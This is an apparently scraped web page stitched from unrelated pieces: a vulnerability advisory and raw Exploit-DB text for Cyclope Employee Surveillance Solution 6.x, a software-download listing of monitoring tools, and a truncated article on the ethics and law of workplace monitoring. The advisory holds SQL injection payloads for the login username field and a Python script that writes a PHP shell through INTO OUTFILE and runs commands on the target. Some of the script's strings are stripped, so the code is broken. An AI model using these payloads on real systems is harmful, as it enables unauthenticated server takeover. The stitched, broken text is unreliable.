Cyclope employee surveillance solution

Vendor: Cyclope Employee Surveillance Solution SQL Injection and Remote Code Execution Product Name: Cyclope Employee Surveillance Solution Affected Version From: 6.1.0 Affected Version To: 6.3.0 CPE: a:cyclope-series:cyclope_employee_surveillance_solution Platforms Tested: Windows SQL Injection and Remote Code Execution in Cyclope Employee Surveillance Solution v6.0 Due to improper input sensitization, many parameters are prone to SQL injection, most importantly, the username parameter in the application's login form. An attacker can exploit this vulnerability to execute arbitrary code on the vulnerable system by creating a small php shell in the application's root folder and writing the administrator username and password. Mitigation: Input validation should be performed to ensure that user-supplied data is properly sanitized before being used in SQL queries. Exploit-DB raw data: # Author: loneferret of Offensive Security# Product: Cyclope Employee Surveillance Solution v6.0# Version: 6.0# Vendor Site: Software Download: Software description:# The employee monitoring software developed by Cyclope-Series is specially designed to inform # and equip management with statistics relating to the productivity of staff within their organization. # Vulnerability:# Due to improper input sensitization, many parameters are prone to SQL injection.# Most importantly, the username parameter in the application's login form.# # Effected versions:# Change script accordingly. You can see the folder's name when viewing the source code # from the login screen.# 6.1.0: Default install path: C:\Program Files\Cyclope\Ni4xLjA=# 6.2.0: Default install path: C:\Program Files\Cyclope\Ni4yLjA=# 6.2.1: Default install path: C:\Program Files\Cyclope\Ni4yLjE=# 6.3.0: Default install path: C:\Program Files\Cyclope\Ni4zLjA=# PoC 1:# MySql sleep for 5 seconds.# No Authentication Required.# Page: /index.php# Form: login# Vulnerable Parameter: username# username: x' or sleep(5) and '1'='1# password: whatever# As stated, nothing is checked before passing "username" to MySql.# This results in MySql sleeping for 5 seconds, and a unsuccessful# attempt. # PoC 2:# Remote Code Execution# No Authentication Required.# Page: /index.php# Form: login# Vulnerable Parameter: username# Creates a small php shell in the application's root folder.# It also has the added bonus of writing the administrator username and password# Side note: # This assumes a default installation. Which is located in "C:\Program Files\Cyclope\Ni4xLjA="# If you are wondering what is "Ni4xLjA=", well it's the software's version number in Base64 (6.1.0).# Using Owasp Zap, you can spider the site to find the application's root folder if ever it changes.----Python Script Simple Backdoor----#!/usr/bin/pythonimport urllib, cookielibimport urllib2import sysprint "\n[*] Cyclope Employee Surveillance Solution v6.0 Remote Code Execution"print "[*] Vulnerability discovered by loneferret"print "[*] Offensive Security - (len(sys.argv) != 3): print "[*] Usage: poc.py " print "[*] Ex. : poc.py 127.0.0.1 ipconfig" exit(0)rhost = sys.argv[1]rcmd = sys.argv[2]backdoor = ""prepayload = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/Ni4xLjA=/cmd.php' "prepayload += "LINES TERMINATED BY 0x%s) and '1'='1" % backdoor.encode('hex')act = 'auth-login'pag = 'login'password = 'hole'cj = cookielib.CookieJar()opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))post_params = urllib.urlencode({'act' : act, 'pag' : pag, 'username' : prepayload, 'password' : password})print "[*] Sending evil payload"resp = opener.open(" % rhost, post_params)print "[*] Triggering backdoor"cmd = ' % rhostpage = urllib.urlopen(cmd)print "[*] Executing command: %s\n" % rcmdshell = ' % (rhost,rcmd)try: page = urllib.urlopen(shell) cmd = page.read() print cmdexcept: print "[-] Oups! Somthing happened" ---Python

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Auto-scroll, graphic tools, color picker Activity Monitor 10.5 This program is for real time monitoring of users activities on network computers and for employees' work time tracking. It monitors usage of all office computers connected to a ... in real time, take snapshots of the remote screen, view what programs are open, stop inappropriate programs, ... Shareware | $189.95 tags: spy, spying, surveillance, employee, monitoring, keylogger, keystrokes, spyware, detective, security, remote, invisible, stealth, logging, screenshot, employees, email, chat Cyclope Computer Monitoring 7.9.0 ... your employees’ computer activity by allowing you to monitor any targeted machine in your network. Designed for ... to the managers the perfect surveillance software to monitor their computer network and increase efficiency while also ... Shareware | $25.00 KSnetManager 3.2.3.008 ... control tool that is distinct from other internet monitoring software: * Instead of being a hidden monitoring program, it is interactive. * Instead of passive monitoring, it actively controls and blocks unexpected activities. * ... Shareware | $6.98 Send Text Message If File or Folder Changes Software 7.0 ... tray at the bottom right corner of the screen. ... Shareware | $19.99 tags: automatically send text messages when file changes, send text message when folders changed, monitor folder changes in real-time, monitor files, changes via email, watching a directory for changes, notified, directory, notify, notification, sms WebCheck Parental Monitor 10.0.0.0 ... have safe, responsible online experiences use WebCheck to monitor their kids' cyber life. Simple-to-use and easy-to-install on Windows machines, WebCheck Parental Monitor runs silently in the background, recording the keystrokes ... applications opened. WebCheck can make images of the monitor screen at intervals and file sizes you choose. ... Shareware | $39.95 Retail Answer POS Lite 2.0 ... It can also be used on a touchscreen monitor with its smart intuitive design. It records all ... Another key feature of this software is single screen transaction processing. Generally to complete a transaction user ... Demo | $129.00 tags: Billing software, Invoice software, Point of Sale, POS, Cash register, Touch POS, Touchscreen POS, Retail POS, Shop POS, Cafe POS, Inventory POS software, Receipt POS, Restaurant POS, small business POS, Retail Pos, Affordable POS, Simplified POS DIAB 6.3.44.35 ... DBA for DBAs. DIAB is real-time SQL server monitoring software. It alerts you when there is a ... desktop fits easily in the corner of your screen. The buttons glow when there is a problem, ... Commercial

Acts detrimental to the organisation's reputation.The Legal FactorSome countries and respective states have strict laws and regulations that regulate the monitoring of employees. To that end, any act of unlawful surveillance can land an organisation in trouble. This entails organisations to keep abreast with the latest rules and regulations of the land in which they operate and potentially seek legal counsel.In the pre-pandemic scene, employee monitoring was largely seen as an intrusive and predominantly unethical practice. But that changed quickly in the new normal as the practice became a necessary and innocuous safety precaution to protect the assets of an organisation. However, as we emerge from this distressing time, the questions remain over how far a business should go in its quest for complete surveillance of its employees and what moral boundaries must be adhered to in the process. Here's a rundown of the same:Adhering to Consensual MonitoringUnobtrusively monitoring employees might be a logical way not to disrupt the workplace, but it can also come across as an extreme invasion of employee privacy. Therefore, if a company wants to keep an eye on its workforce, then it must show it is interested in the well-being of the employees through closer supervision over what they do and how they do it. The employees must be aware that their computers, their mobile phones, and the network are being monitored using an employee monitoring tool.Evaluating Monitoring MotivationsEven before implementing employee monitoring, a company should evaluate its reasons and motivations. The focus should be on the tangible benefits and not on being nosy. More often than not, monitoring is done to catch employees who are deliberately wasting time at work or who are guilty of copyright infringement or viewing inappropriate material.Lately, however, surveillance motivations have gone beyond that and involved issues such as cyberbullying, identity theft, and even insider trading. Hence, before businesses commit to an employee monitoring solution, they must outline the why(s), how(s), and what(s) of their surveillance initiatives. This involves evaluating the boundaries for data collection methods, the possible consequences for employees, and the acceptable uses of data.For instance, they wouldn't

Want to invest in scanning IM chats on social media if that's not what their industry is concerned about. Eventually, such motivations should be laid out in front of the employees to foster operational transparency.Taking Privacy into AccountWhen implementing employee monitoring, companies must be mindful of the importance of maintaining a private and secure work environment for their employees. For instance, after-hours monitoring can be a source of stress for some employees and may lead them to quit the job. Also, employees should be allowed to work without fear that their privacy is being compromised and the management illegally accessing their personal information.Opting for the Ideal ToolAll the above considerations entail the ideal tool for implementation. Care should be taken to ensure that the solution is compatible with the organisational objectives and meets their security standards. This is where the advice of a legal counsel could come in handy to ensure conformance to the state-specific laws and regulations.Employee Monitoring and LawEvery country or state has its own laws governing employee monitoring. Some states have taken a strict view on employee monitoring, while others have a more liberal approach. Consider this; the Indian Employment and Labour Laws allow for the notion of surveillance and monitoring of employees at the workplace. Yes, Section 21 emphasizes the right to privacy, but there's no explicit elucidation of the legality/illegality of employee monitoring practices.'s a rundown of the same:Contrarily, some of the U.S. laws are more concrete. For example, the Electronic Communications Privacy Act of 1986 enables workplace monitoring, considering that businesses have a legitimate reason to do so. Further, every US state has its own share of regulations regarding phone call recording. Then there's the Video Privacy Protection Act and additional regulations around the disclosure of "videotapes" to prevent wrongful disclosure.As far as the UK is concerned, the Regulatory of Investigatory Powers Act 2000 (RIPA) is often cited for following consensual surveillance. General Data Protection Regulation (GDPR) also has a say in regulating access to personal data and how that data is being processed. In Australia, the Privacy Act 1988, Workplace Surveillance Act 2005,